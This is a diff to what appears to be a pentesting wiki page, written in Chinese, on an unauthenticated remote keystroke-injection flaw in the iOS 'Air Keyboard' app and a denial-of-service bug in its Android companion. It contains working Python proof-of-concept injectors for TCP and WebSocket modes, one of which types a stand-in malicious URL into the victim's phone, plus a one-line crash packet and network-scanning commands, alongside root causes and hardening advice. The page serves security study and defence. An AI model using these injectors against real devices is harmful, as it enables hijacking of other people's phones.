diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index 445096570..0c33d0c9e 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,18 +1,26 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -iOS版本的商业“Air Keyboard”应用程序(App Store ID 6463187929)在**8888端口上打开了一个明文TCP服务**,接受**没有任何认证**的按键帧。任何在同一Wi-Fi网络上的设备都可以连接到该端口并向受害者的手机注入任意键盘输入,从而实现**完全的远程交互劫持**。 +iOS 版本的商业 **“Air Keyboard”** 应用程序 (App Store ID 6463187929) 暴露了一个本地网络服务,该服务 **接受无任何身份验证或来源验证的按键帧**。根据安装的版本,该服务为: -一个配套的Android版本监听**55535端口**。它执行一个弱AES-ECB握手,但构造的垃圾数据导致**OpenSSL解密例程中的未处理异常**,使后台服务崩溃(**DoS**)。 +* **≤ 1.0.4** – 原始 TCP 监听器在 **port 8888** 上,期待一个 2 字节长度的头部,后跟 *device-id* 和 ASCII 有效负载。 +* **≥ 1.0.5 (2025年6月)** – **WebSocket** 监听器在 *同一* 端口 (**8888**) 上,解析 **JSON** 键,例如 `{"type":1,"text":"…"}`。 + +因此,任何在同一 Wi-Fi / 子网中的设备都可以 **向受害者的手机注入任意键盘输入,实现完全的远程交互劫持**。 +一个配套的 Android 版本在 **port 55535** 上监听。它执行一个弱 AES-ECB 握手,但构造的垃圾数据仍会导致 **OpenSSL 内部未处理的异常**,崩溃后台服务 (**DoS**)。 + +> 该漏洞在撰写时 **仍未修补(2025年7月)**,该应用程序仍可在 App Store 中获取。 + +--- ## 1. Service Discovery 扫描本地网络,寻找应用程序使用的两个固定端口: ```bash -# iOS (input-injection) +# iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) @@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24 ``` 在Android手机上,您可以在本地识别负责的包: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. 帧格式 (iOS) +在**越狱的 iOS**上,你可以使用 `lsof -i -nP | grep LISTEN | grep 8888` 做类似的事情。 -该二进制文件在 `handleInputFrame()` 例程中揭示了以下解析逻辑: +--- + +## 2. 协议细节 (iOS) + +### 2.1 旧版 (≤ 1.0.4) – 自定义二进制帧 ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` -声明的长度包括 `device_id` 字节 **但不包括** 两字节头部本身。 +声明的 *length* 包括 `device_id` 字节 **但不包括** 两字节的头部本身。 + +### 2.2 当前版本 (≥ 1.0.5) – JSON over WebSocket + +版本 1.0.5 在保持端口号不变的情况下默默迁移到 WebSockets。一个最小的按键看起来像是: +```json +{ +"type": 1, // 1 = insert text, 2 = special key +"text": "open -a Calculator\n", +"mode": 0, +"shiftKey": false, +"selectionStart": 0, +"selectionEnd": 0 +} +``` +不需要握手、令牌或签名 - 第一个 JSON 对象已经触发了 UI 事件。 + +--- ## 3. 利用 PoC + +### 3.1 针对 ≤ 1.0.4 (原始 TCP) ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -任何可打印的 ASCII(包括 `\n`、`\r`、特殊键等)都可以被发送,从而有效地赋予攻击者与物理用户输入相同的权限:启动应用程序、发送即时消息、访问钓鱼 URL 等。 +### 3.2 目标 ≥ 1.0.5 (WebSocket) +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` -## 4. Android Companion – 拒绝服务 +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ +"type": 1, +"text": "https://evil.example\n", +"mode": 0, +"shiftKey": False, +"selectionStart": 0, +"selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` +*任何可打印的 ASCII 字符 — 包括换行符、制表符和大多数特殊键 — 都可以被发送,从而赋予攻击者与物理用户输入相同的能力:启动应用程序、发送即时消息、打开恶意 URL、切换设置等。* -Android 端口(55535)期望一个用 **硬编码的 AES-128-ECB 密钥** 加密的 4 字符密码,后面跟着一个随机的 nonce。解析错误会冒泡到 `AES_decrypt()`,并未被捕获,导致监听线程终止。因此,一个单一的格式错误的数据包就足以使合法用户断开连接,直到该进程重新启动。 +--- + +## 4. Android Companion – Denial-of-Service + +Android 端口 (55535) 期望一个 **用硬编码的 AES-128-ECB 密钥加密的 4 字符密码**,后面跟着一个随机的 nonce。解析错误会冒泡到 `AES_decrypt()`,并未被捕获,导致监听线程终止。因此,一个单一的格式错误的数据包就足以使合法用户断开连接,直到进程重新启动。 ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. 根本原因 +--- -1. **未对传入帧进行来源/完整性检查**(iOS)。 -2. **加密误用**(静态密钥,ECB,缺少长度验证)和 **缺乏异常处理**(Android)。 +## 5. 相关应用 – 重复出现的反模式 -## 6. 缓解与加固建议 +Air Keyboard **并不是一个孤立的案例**。其他移动“远程键盘/鼠标”工具也存在同样的缺陷: -* 永远不要在移动设备上暴露未认证的服务。 -* 在入职时为每个设备派生秘密,并在处理输入之前验证它们。 -* 将监听器绑定到 `127.0.0.1`,并使用相互认证的加密传输(例如,TLS,Noise)进行远程控制。 -* 在移动安全审查期间检测意外开放的端口(`netstat`,`lsof`,`frida-trace` 在 `socket()` 等)。 -* 作为最终用户:卸载 Air Keyboard 或仅在受信任的隔离 Wi-Fi 网络上使用。 +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 允许未经身份验证的命令执行和明文键盘记录。 +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 未经身份验证的 RCE 和流量嗅探。 +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 默认无密码、弱 PIN 暴力破解和明文泄露。 -## 检测备忘单(渗透测试人员) +这些案例突显了对 **移动应用网络攻击面** 的系统性忽视。 + +--- + +## 6. 根本原因 + +1. **对传入帧没有来源/完整性检查**(iOS)。 +2. **密码学误用**(静态密钥、ECB、缺少长度验证)和 **缺乏异常处理**(Android)。 +3. **用户授予的本地网络权限 ≠ 安全** – iOS 请求运行时同意 LAN 流量,但这并不能替代适当的身份验证。 + +--- + +## 7. 加固与防御措施 + +开发者建议: + +* 将监听器绑定到 **`127.0.0.1`**,并在需要远程控制时通过 **mTLS** 或 **Noise XX** 隧道。 +* 在入职时 **派生每个设备的秘密**(例如,二维码或配对 PIN),并在处理输入之前强制 *双向* 身份验证。 +* 采用 **Apple Network Framework**,使用 *NWListener* + TLS,而不是原始套接字。 +* 在解密或解码帧时实现 **长度前缀的合理性检查** 和结构化异常处理。 + +蓝队/红队快速胜利: + +* **网络侦查:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` 或 Wireshark 过滤器 `tcp.port == 8888`。 +* **运行时检查:** Frida 脚本钩住 `socket()`/`NWConnection` 列出意外的监听器。 +* **iOS 应用隐私报告(设置 ▸ 隐私与安全 ▸ 应用隐私报告)** 突出显示与 LAN 地址联系的应用 – 有助于发现恶意服务。 +* **移动 EDR** 可以为端口 8888 上明文 TCP 有效载荷中的 JSON 键 `"selectionStart"`、`"selectionEnd"` 添加简单的 Yara-L 规则。 + +--- + +## 检测备忘单(渗透测试者) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ +| awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ +echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` -## 参考 +--- -- [Air Keyboard iOS 应用中的远程输入注入漏洞仍未修复](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [CXSecurity 通告 WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +## 参考文献 + +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 远程输入注入](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (2025年7月17日) – Air Keyboard iOS App中的远程输入注入漏洞仍未修补](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}